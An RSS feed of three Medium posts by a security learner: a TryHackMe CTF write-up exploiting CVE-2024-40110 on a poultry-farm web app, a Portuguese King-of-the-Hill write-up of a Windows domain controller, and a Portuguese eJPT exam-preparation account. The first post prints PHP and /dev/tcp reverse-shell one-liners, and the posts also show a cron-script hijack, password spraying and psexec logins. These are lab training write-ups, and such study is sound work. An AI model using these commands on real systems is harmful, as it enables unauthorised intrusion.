<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Thiago Smith Rocha Braz on Medium]]></title>
        <description><![CDATA[Stories by Thiago Smith Rocha Braz on Medium]]></description>
        <link>https://medium.com/@thiago.smith.braz?source=rss-55a9109dace3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*rH7W0yxzdWRs47xj</url>
            <title>Stories by Thiago Smith Rocha Braz on Medium</title>
            <link>https://medium.com/@thiago.smith.braz?source=rss-55a9109dace3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 18:01:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@thiago.smith.braz/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Official Write-Up 5M1TH - AgroPro by 5M1TH.]]></title>
            <link>https://medium.com/@thiago.smith.braz/official-write-up-5m1th-agropro-by-5m1th-131f8189be3a?source=rss-55a9109dace3------2</link>
            <guid isPermaLink="false">https://medium.com/p/131f8189be3a</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Thiago Smith Rocha Braz]]></dc:creator>
            <pubDate>Fri, 02 May 2025 22:27:47 GMT</pubDate>
            <atom:updated>2025-05-03T04:03:46.575Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s enjoy the green fields and relax, enjoying nature. Exploit CVE-2024–40110</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xt63_Vx-gWems49Ch-7AWw.png" /></figure><p><a href="https://tryhackme.com/room/5m1thagropro">TryHackMe | Cyber Security Training</a></p><h3>Let’s go!!!</h3><h3>Task 1 - Enumeration and Initial Access</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5AeycwryLn2ojqe05fDM6Q.png" /></figure><h3>RECONAISSANCE AND ENUMERATION</h3><p>Nmap simple scan detect 3 opened ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*KFTQj-MdYogfDeKzjwiGZA.png" /></figure><p>Nmap services and versions scan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*7fRsll5n_f_UhtS37fQf9Q.png" /></figure><p>Nmap vulnerabilities scan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*YKfx9ZQ6hANZpenOpNq49g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*LbXA5ECzkMjM8LF2bYrwOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*WpObIcR5L49JLfbwL1GFZg.png" /></figure><p>Web recon and enumeration by softwares and tecnology:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*1TUjyh7WIoPJJPWf6d-_PQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*DztdTkxv7rIbd6bIs1V-EQ.png" /></figure><p>Access the URL indicate <a href="http://10.10.170.103/">http://10.10.170.103/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*NqIPwwi_PV2eeRn8X1vl6Q.png" /></figure><p>Identified the support user e-mail as support@agropro.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*fhitLwUgJIn56a6xIgPs9Q.png" /></figure><p>Bruteforce files and direcitories, identified the “/ranch” directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*svCPJG6EuWxvpX5-KH6j0A.png" /></figure><p>New web enumeration on directory discovered indicate the Titlle “RedCock Farm”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*p6gMDDsXqhULAt_7cmRRgQ.png" /></figure><p>Access the new URL indicate <a href="http://10.10.170.103/ranch/">http://10.10.170.103/ranch/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*QMIVPAbvMPtf9FqYE7s1Wg.png" /></figure><p>New files and directories bruteforce</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*jO4qMPqaYlCopFzYH3X-sA.png" /></figure><h3>Theat modeling</h3><p>Search for exploits:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*tDR4ebJOBtQ7H2AKwv3pzw.png" /></figure><p><a href="https://www.exploit-db.com/exploits/52053">OffSec&#39;s Exploit Database Archive</a></p><p>Exploit download:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*TCAYMF6rfkDBZHk_0l879w.png" /></figure><p>Necessary adjustment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*I_cgnZ3Dsqy_u93c5nu0xA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*xawbDo1mPqg1R9egW7Jygg.png" /></figure><p>After adjustment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*WnAPPDUqE_6COTC9JBI6SQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*Zve6ZEqBMFtsTbt1b9BXMg.png" /></figure><p>Executing the exploit - fail:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*KuKYFFMkyVO-sr3bsTBa2A.png" /></figure><p>Search for other exploit:</p><p><a href="https://github.com/thiagosmith/CVE-2024-40110">GitHub - thiagosmith/CVE-2024-40110: Exploit para Poultry Farm Management System v1.0</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*rYMBQM3HvC5O6K8HlPWBJQ.png" /></figure><p><a href="https://raw.githubusercontent.com/thiagosmith/CVE-2024-40110/refs/heads/main/exploit.py">https://raw.githubusercontent.com/thiagosmith/CVE-2024-40110/refs/heads/main/exploit.py</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*HVPBjHInrfx5wckCC9eS2g.png" /></figure><p>Download new exploit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*QGtmzXVybnzX4ZaSH9sATQ.png" /></figure><p>Necessary new adjustment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*OK1z3ffN5qxq9nNriG2xhQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*_lmbVW2Nnj4iBSqVajx-DQ.png" /></figure><p>After new adjustment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*pYHTBQOVqm5I154GJjnlaw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*6aoKj4V6qsisD9ud9SKHtQ.png" /></figure><p>Executing the exploit - bingo!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*UB5M7DgFhfTCvPmQz7AR-Q.png" /><figcaption>We have a shell!!! Pseudo-Shell, but.. a Shell!!! hehehe…</figcaption></figure><p>Creating a payload of reverse Shell to the target:</p><p><a href="https://www.revshells.com/">Online - Reverse Shell Generator</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*P2pgPt9asXpmIOvqX8v3qg.png" /><figcaption>PHP Choise because the application is PHP!!!</figcaption></figure><pre>php -r &#39;$sock=fsockopen(&quot;10.17.51.216&quot;,9001);exec(&quot;sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);&#39;</pre><p>Listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*kCDJfNneSYDUrp1R9RSQmQ.png" /></figure><p>Executing the revserse shell command on pseudo-shell by exploit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*WXF-HwCjJdG34DftPTE1UQ.png" /></figure><p>Receiver the reverse shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*up9d_ha8VD6IkHpjLJSYCA.png" /></figure><p>Shell improvement:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*vUaD6UDUUe0Gm7sQhQPjiA.png" /></figure><p>Internal enumeration:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*Jo_3ANqbOtkbwyGdYSJE_g.png" /><figcaption>Discovered the “includes/dbconnection.php”</figcaption></figure><p>Read file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*E8biVutpo0_lUJ4Rda9U_g.png" /></figure><pre>db: <br>user: <br>pass: </pre><p>Reading the /etc/passwd file finding users in the host:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*fGKWGVm4HyRHoi2dW0Rqog.png" /></figure><pre>cat /etc/passwd | cut -d &quot;:&quot; -f 1</pre><p>Users wordlist creation on my attack machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*Dw8vrq84Wcbgyqmyd0rVAg.png" /></figure><p>Password spray with hydra on ssh service:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*ee32m0x6oXBJ-1KlCbaMRw.png" /></figure><pre>ssh <br>host: 10.10.170.103   <br>login: <br>password: </pre><p>Initial acess from ssh user and pass. The first flag!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*OIJRajCS7w8nNxeK5q-XzA.png" /></figure><h3>Task 2 - Lateral movement and horizontal privilege escalation.</h3><p>Locate <a href="http://linpeas.sh/">linpeas.sh</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*eNvEPZ1Kubv-pG46cn-13g.png" /></figure><p><a href="https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS">PEASS-ng/linPEAS at master · peass-ng/PEASS-ng</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*uWRujbA8F0sBcm25uGjFcg.png" /></figure><p>Download linpeas.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*sWRLfXHpdetVdwGX9ZQxYQ.png" /></figure><p>Listener with web server in python:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*j8ln2A7NKKgLv02Ixa1jcA.png" /></figure><p>Request from target:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*tTJ9raEMnP4IYAMgKS5FCw.png" /></figure><p>Assigning execution rights to the binary file and execution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*z1U9Nos9-g9wVUAmJo10Lg.png" /></figure><h3>Important reports</h3><p>Kernel exploits less - probable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*QmKTgMSJQ5a9NUAOsaLPVA.png" /></figure><p>Crontab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*rG2fgIFm-B9al_w_nLbj1g.png" /></figure><p>Writable files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*QytVAY9TKjJfaLRL3GT8rQ.png" /></figure><p>Backup Folders:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*6GYb-0JczpQvBn36YMdbFQ.png" /></figure><p>Analyzing reported script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*fp1b_LiObKdMTcGW-AIOAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*kYkgCDV4LxAdXp-RcJm3pg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*DPTMCeYGIRUlXV2rTdesSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*KwRGY685Fo9mO0B0Ggy2WQ.png" /></figure><p>Searching for a new reverse shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*WxsLzFTFFNQWVIe3NkzpPg.png" /><figcaption>Bash to differentiate a little</figcaption></figure><pre>sh -i &gt;&amp; /dev/tcp/10.17.51.216/9001 0&gt;&amp;1</pre><p>Inserting my reverse shell into the script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*6_dayPDY9DOyIfo2oDCrWA.png" /></figure><p>Opening the listner and wait the cron job:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*uDar2-UcFTzHYPFN_juq4A.png" /></figure><p>Receive the reverse shell and taking the second user flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*kPQ86U0Ke5FcZQ866He6WA.png" /><figcaption>Houston, have a Shell!!</figcaption></figure><h3>Task 3- Vertical Privilege Escalation</h3><p>Improving the shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*2u2h_jYsDAc82yS_iZc2gA.png" /></figure><p>Checking permissions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*LP9fjVGNMZc3H-6M48miXQ.png" /></figure><p>Searching about “mawk” on GTFOBINS:</p><p><a href="https://gtfobins.github.io/gtfobins/mawk/">mawk | GTFOBins</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*FD6IphSiqnOLihCAgmpOfg.png" /></figure><p>Escalating privilege vertically and getting the final root flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*6yq-T4_CKx_lXJujZb2RJw.png" /></figure><h3>Final words:</h3><p>The intention behind creating this room arose when, at a certain moment, I was researching exploits for vulnerable applications on the exploit-db.com website.</p><p>I found the exploit for the application I was testing in a fully controlled environment. However, when executing it, I received the error message described in this Write-Up.</p><p>Faced with adversity, I managed to fix the exploit and enhance it to meet my specific needs at that moment.</p><p>I built the machine and the room with the aim of helping enthusiasts understand that we need to adapt to applications and that not every exploit we find will work successfully on the first attempt.</p><p>Persistence is the key word in this challenge, proposed for those who decide to accept it.</p><p><strong><em>“The true achievement is not just in finding a functional exploit, but in refining challenges, adapting strategies, and never giving up in the face of adversity. Persistence turns obstacles into learning and evolution!”</em></strong></p><p>About the author:</p><p><a href="https://www.linkedin.com/in/smith-braz-938825209/">https://www.linkedin.com/in/smith-braz-938825209/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*dl8M--BSAIhCHh6H6S9dew.png" /></figure><p><a href="https://tryhackme.com/p/5m1th">5m1th</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*extR2b6DnTiTgMjfY7wQtw.png" /></figure><p>Send me feedback, please…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=131f8189be3a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Machine: H1: Medium — TryHackMe]]></title>
            <link>https://medium.com/@thiago.smith.braz/machine-h1-medium-tryhackme-c147c18f8eda?source=rss-55a9109dace3------2</link>
            <guid isPermaLink="false">https://medium.com/p/c147c18f8eda</guid>
            <dc:creator><![CDATA[Thiago Smith Rocha Braz]]></dc:creator>
            <pubDate>Sun, 06 Aug 2023 01:35:06 GMT</pubDate>
            <atom:updated>2023-08-06T01:48:38.468Z</atom:updated>
            <content:encoded><![CDATA[<h3>Machine: H1: Medium — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xWK8wVeunnSCx736Owa-Vw.png" /></figure><p>Como a máquina tem um tempo determinado, não coletei muitas informações, mas vou deixar a minha experiencia.</p><p>Primeiramente coloquei o nmap para rodar e fui realizando a identificação dos serviços, onde encontrei uma aplicação web que permitia o upload de imagens com extensão jpg na porta 80. Tentei fazer um bypass mas a aplicação não permitiu a conexão reversa com a shell que fiz upload. O nmap terminou e me mostrou informações importantes, principalmente na porta 445, com um AD (Adorooooo) de NETBIOS TROY-DC lembrei logo do cavalo de troia hehehe, mas vamos enumerar esse domínio.</p><p>┌──(smith㉿5m1th)-[~]<br>└─$ sudo nmap -sV 10.10.81.44 -p80,81,82,88,135,139,398,445,464,593,636,3268,3269,3389 -O -A</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*4F6b7BB-ypWzsvxBzm6sFQ.png" /></figure><p>┌──(smith㉿5m1th)-[~]<br>└─$ crackmapexec smb 10.10.81.44</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*q8CXYFMKLagFjVF6-T8IwA.png" /></figure><p>Peguei alguns personagens e criei uma wordlist de possíveis usuários e iniciei um brute force com a wordlist rockyou.txt.</p><p>┌──(smith㉿5m1th)-[~]<br>└─$ cat users.txt <br>achilles<br>agamemnon<br>hector<br>helen</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/185/1*-2UCyAFTIIbtcnRXZ7pgVw.png" /></figure><p>┌──(smith㉿5m1th)-[~]<br>└─$ crackmapexec smb 10.10.81.44 -u users.txt -p /usr/share/wordlists/rockyou.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*fWzLIQ8VhykMZckD7qLs7g.png" /></figure><p>Enquanto o bruteforce rolava eu ia verificando as aplicações web, mas sem sucesso nas portas encontradas, tanto no upload de jpg, quanto no ping.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*U_7nFU2dQnHpnYALWMY5xQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*phjXd1Cob6ZE55fgG6-f7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*1yZV9KFuQKIbMkt8trAlhA.png" /></figure><p>O crackmap encontrou a senha de do usuário achilles, abandonei o web e partiu exploração smb.</p><p>┌──(root㉿5m1th)-[/home/smith]<br>└─# python3 /usr/share/doc/python3-impacket/examples/psexec.py TROY.thm/achilles:a_senha_encontrada@10.10.81.44<br>Impacket v0.10.0 — Copyright 2022 SecureAuth Corporation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*hYzkZB5TAWWmKCOjTn0CdQ.png" /></figure><p>Verificando o nível de permissões do usuário.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*iTyRlYHQgyGyqRxt-gmivw.png" /></figure><p>Pegando a flag do king e alterando o para o meu nick, mas deixando o arquivos como somente leitura, arquivo morto, arquivo oculto e do sistema, para dificultar a alteração hehehe.</p><p>C:\&gt; :loop<br>C:\&gt; attrib -r -a -h -s c:\king.txt<br>C:\&gt; echo 5m1th &gt; c:\king.txt<br>C:\&gt; goto loop<br>C:\&gt; type king.txt<br>5m1th</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/305/1*km6xjLlUl01usKsD3uTTSw.png" /></figure><p>Pegando a flag do usuário achilles:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*cyOOjmDx9-OdHcKKhiOe2A.png" /></figure><p>Pegando a flag do usuário hector:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*hcPURex7aoeO8PKcwH35pg.png" /></figure><p>Pegando a flag do usuário helen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*40_2nP7QXhNDyrkqvaexKg.png" /></figure><p>Pegando a flag do usuário patrocles:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*TnHZ0-c4scWVhbX3C7LF5A.png" /></figure><p>Ainda consegui acesso via protocolo RDP (Remote Desktop Protocol), tentei enumerar mais algo, porem o tempo terminou…</p><p>Uma excelente aventura e a adrenalina de estar competindo com outros player em tempo real deixa o jogo mais divertido. Quem nunca participou, eu recomendo que participe.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c147c18f8eda" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Minha jornada para realizar o exame eJPT — eLearning Security com dicas e sugestões]]></title>
            <link>https://medium.com/@thiago.smith.braz/minha-jornada-para-realizar-o-exame-ejpt-elearning-security-com-dicas-e-sugest%C3%B5es-9a4426c6e683?source=rss-55a9109dace3------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a4426c6e683</guid>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[elearning]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ejpt]]></category>
            <dc:creator><![CDATA[Thiago Smith Rocha Braz]]></dc:creator>
            <pubDate>Wed, 19 Jul 2023 18:18:52 GMT</pubDate>
            <atom:updated>2023-07-19T19:45:11.904Z</atom:updated>
            <content:encoded><![CDATA[<h3>Minha jornada para realizar o exame eJPT — eLearn Security com dicas e sugestões</h3><p>Em 16 de Julho de 2023, recebi meu “pass” na eJPT, mas minha luta começou muito antes, primeiramente eu procurei por informações deste exame e não achei quase nada em português, por isso decidi fazer um “overview” para ajudar a quem deseja realizar esta certificação e também para que não se sintam sozinhos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1qxcOUYJcQLu2oLH0y5-EQ.jpeg" /></figure><p>Bom, primeiramente peço licença para me apresentar. Eu sou Smith, natural de Natal-RN, residente na cidade do Rio de Janeiro-RJ, pertencente ao serviço militar ativo na Marinha do Brasil. Desde 2004 atuando na área de TIC (Tecnologia da Informação e Comunicações), onde tive a oportunidade de ter atuado em diversos setores deste campo maravilhoso e participado de diversas operações na equipe de defesa cibernética em grandes eventos que foram realizados no país recentemente, dentre eles cabe destacar Copa das Confederações 2013, Copa do Mundo 2014, Olimpíadas RIO 2016, Amazônia Azul — Mar Limpo é Vida e Operação COVID-19.</p><p>Minha jordana na área de cibersegurança iniciou há algum tempo atrás pois sempre fui um apaixonado por tecnologia e para mim não bastava apenas fazer funcionar, eu queria entender como e por que estava funcionando e isso levou-me a dedicar-me mais aos estudos. Fiz alguns cursos na área e sempre estava em busca de mais, uma vez que o conhecimento liberta e vicia, porém foi no início da pandemia que mergulhei de cabeça nessa aventura e venho desde então tentando me qualificar mais e mais a cada dia.</p><p>Durante esse período, me aprofundei em diversas áreas deste campo de TI, como Sistemas Linux, Redes de computadores, Computação em Nuvem, Defesa Cibernética, Forense Computacional e Segurança Ofensiva, tanto em sistemas convencionais, quanto em aplicações mobile, além de me dedicar ao estudo focado para algumas certificações.</p><p>Mas vamos ao que interessa… a Certificação eJPT — eLearn Junior Penetration Tester, onde irei separar este artigo em algumas áreas:</p><p>Preparação para o combate</p><p>Estudando o inimigo</p><p>Briefing — Antes do exame</p><p>Teatro de Operações — Durante o exame</p><p>Armamento empregado</p><p>Debriefing — Avaliação pós execução</p><p>Preparação para o combate</p><p>No ano de 2022, durante a “Black Friday” vi uma oportunidade de um voucher de desconto de 40% para todos os itens (assinaturas, cursos e certificações) da eLearn Security, mas eu não conhecia a instituição a fundo, muito menos seus cursos e certificações, a não ser pelo fato de ver sempre um certificado deles no LinkedIn. Então decidi arriscar e pegar o voucher da eJPT, o exame estava custando $200USD e com o desconto ficou por $120USD. Foi quando comecei a pesquisar sobre este exame e não encontrava nada de informações a nível nacional, somente publicações e vídeos em inglês, mas até aí tudo bem, a certificação é internacional mesmo, porém o público alvo é muito maior.</p><p>A confirmação da compra demorou um pouquinho e por estar no período da “Black Friday” fiquei preocupado de ter caído em um golpe e abri um chamado, mas logo fui respondido e recebi informações importantes sobre o exame, bem como o manual de certificação em 29 de novembro de 2022. Agora eu teria seis meses para entrar no campo de batalha, mas eu já estava em uma luta com a CySA+(CompTIA) para janeiro e outra com a CC (ISC²) para março, teria que encontrar uma janela para a missão eJPT. Foi então que recebi um e-mail no início de março informando que o exame eJPTv1 teria sido desativado. Mais uma vez corri para o suporte onde novamente fui muito bem atendido e me autorizaram migrar o exame eJPTv1 para o eJPTv2 sem custo adicional, para minha surpresa ainda ganhei uma nova tentativa caso eu não conseguisse atingir os 70% necessários para a aprovação e mais seis meses para realização do exame, foi aí que eu respirei e me programei para realizar meu exame tranquilamente.</p><p>Estudando o inimigo</p><p>Quando compramos o voucher “ganhamos” 90 dias de acesso ao conteúdo de estudo do INE, eu mergulhei nas aulas dentro do prazo consegui finalizar o material didático e fazer as minhas anotações. É extremamente necessário acompanhar o curso, ele dá muitas dicas de como proceder durante o exame, foca muito na enumeração utilizando o “nmap” com seus “scripts” e o “Metasploit Framework”, como eu vinha dos cursos de Pentest da DESEC e do exame da DCPT que não pode utilizar algumas ferramentas automatizadas, achei bastante interessante essa parte do curso. Como este é um dos meus “hobbies” preferidos, criei meus próprios laboratórios para realizar as atividades práticas durante o curso, acho que essa ação ajuda bastante a entender como funciona o ataque e como pode ser mitigado, bem como realizar o re-teste para validar a correção.</p><p>Briefing — Antes do exame</p><p>Antes da realização do exame é bom estar preparado física e psicologicamente, para poder enfrentar o desafio que se aproxima. Se alimentar bem, beber água, preparar um PC reserva, para que, em caso de pane possa ser possível dar continuidade ao exame. No-break é algo interessante e essencial nos dias de hoje, para que no mínimo, durante uma queda de energia, seja possível salvar as sua anotações.</p><p>Teatro de Operações — Durante o exame</p><p>Para ter ingressar no ambiente do exame, é necessário acessar o site ine.com e se autenticar com suas credenciais. Ao verificar seu perfil é possível notar a área de certificações e partir para o ambiente do exame propriamente dito.</p><p>Neste ambiente encontramos as instruções da realização do exame, bem como, de sua avaliação, escopo, regras de engajamento e o botão de “start exam”.</p><p>Ao clicar no botão de início do exame, o cronometro é iniciado com o tempo de 47 horas e 59 minutos, é carregada uma nova aba no navegador com uma máquina virtual de ataque para que o exame possa ser realizado e na aba principal as 35 perguntas que devem ser respondidas juntamente a um timer com o seu tempo do exame.</p><p>Ao iniciar o exame eu estava bem tranquilo, porém ao seguir, me deparava com algumas aplicações que eu costuma enumerar e explorar utilizando ferramentas externas, daí por algum período eu cheguei a ficar travado, dei uma relaxada, parei para pensar, bebi uma água e continuei utilizando apenas as ferramentas oferecidas.</p><p>É preciso ter em mente que se o alvo está dentro do ambiente, e o ambiente de ataque que me foi dados é aquele, é plausível que seja possível a exploração utilizando somente o que me foi fornecido. Então revi minhas anotações e segui a diante.</p><p>A medida que ia realizando minhas explorações, eu conservava as persistências, no Metasploit Framework, para que, caso fosse necessário buscar alguma informação solicitada nas perguntas, as mesmas fossem obtidas de forma mais célere.</p><p>Algumas perguntas são de respostas diretas, como inserir uma “flag”, que são dinâmicas, então ao pegar essas “flags”, não as segure, insira logo no campo de resposta, pois elas mudam com o tempo. Outras perguntas são de múltipla escolha com base no ambiente explorado e suas maquinas. Umas são bem diretas, outras é preciso pensar um pouquinho antes de marcar a resposta correta, mas tudo está dentro do escopo.</p><p>Este exame não é necessário o envio de relatório, porém eu fiz as minha anotações, até para não me perder.</p><p>“Se a máquina está lá, ela está vulnerável, com no mínimo, uma vulnerabilidade que foi plantada exatamente para ser explorada, então cabe a mim, como Pentester, encontrar essa falha e explora-la.”</p><p>Terminei o meu exame com menos de 11 horas do início dele e depois disso realizei a confecção do meu relatório (não exigido) antes do envio das respostas para minha confirmação pessoal.</p><p>Armamento empregado</p><p>Não é necessário utilizar nenhuma ferramenta extra, a não ser o cURL, NC e Python, além das recomendadas pela plataforma do exame, que são:</p><p>● Nmap</p><p>● Dirb</p><p>● Nikto</p><p>● WPScan</p><p>● CrackMapExec</p><p>● The Metasploit Framework</p><p>● Searchsploit</p><p>● Hydra</p><p>Debriefing — Avaliação pós execução</p><p>De um modo geral, achei bastante interessante a proposta do exame, todo backend envolvido por trás de sua realização, a equipe de suporte e tudo mais. Foi um exame onde eu pude me testar em nível internacional em um exame prático de Pentest e que agregou bastante para minha trajetória, coisas do tipo, como agir em um ambiente fora da minha zona de conforto e sem as minhas ferramentas que estou habituado a utilizar?</p><p>É importante entender essa perspectiva, uma vez que em um ambiente de exploração, podemos cair em um alvo sem as ferramentas e precisamos continuar com o que temos, a guerra não é fácil e o inimigo é terrível.</p><p>Outro lado positivo é a não exigência de um relatório, uma vez que diversidade de línguas no mundo poderia complicar esse aspecto de avaliação.</p><p>Sugestões de engajamento</p><p>· Faça o curso, realize suas anotações, treine nos laboratórios e se prepare;</p><p>· Não subestime o inimigo!!!;</p><p>· Não se prenda ao timer, o tempo é mais do que suficiente;</p><p>· Tenha um PC reserva;</p><p>· Faça suas anotações durante o exame;</p><p>· Mantenha persistência nos alvos; e</p><p>· Pense antes de responder.</p><p>Bom, espero que eu tenha atingido meu objetivo, de deixar o exame eJPT um pouco mais claro para quem busca por esta certificação, porém, para mais dúvidas me coloco a disposição no linkedIn….</p><p><a href="https://www.linkedin.com/in/smith-braz-938825209/">https://www.linkedin.com/in/smith-braz-938825209/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a4426c6e683" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>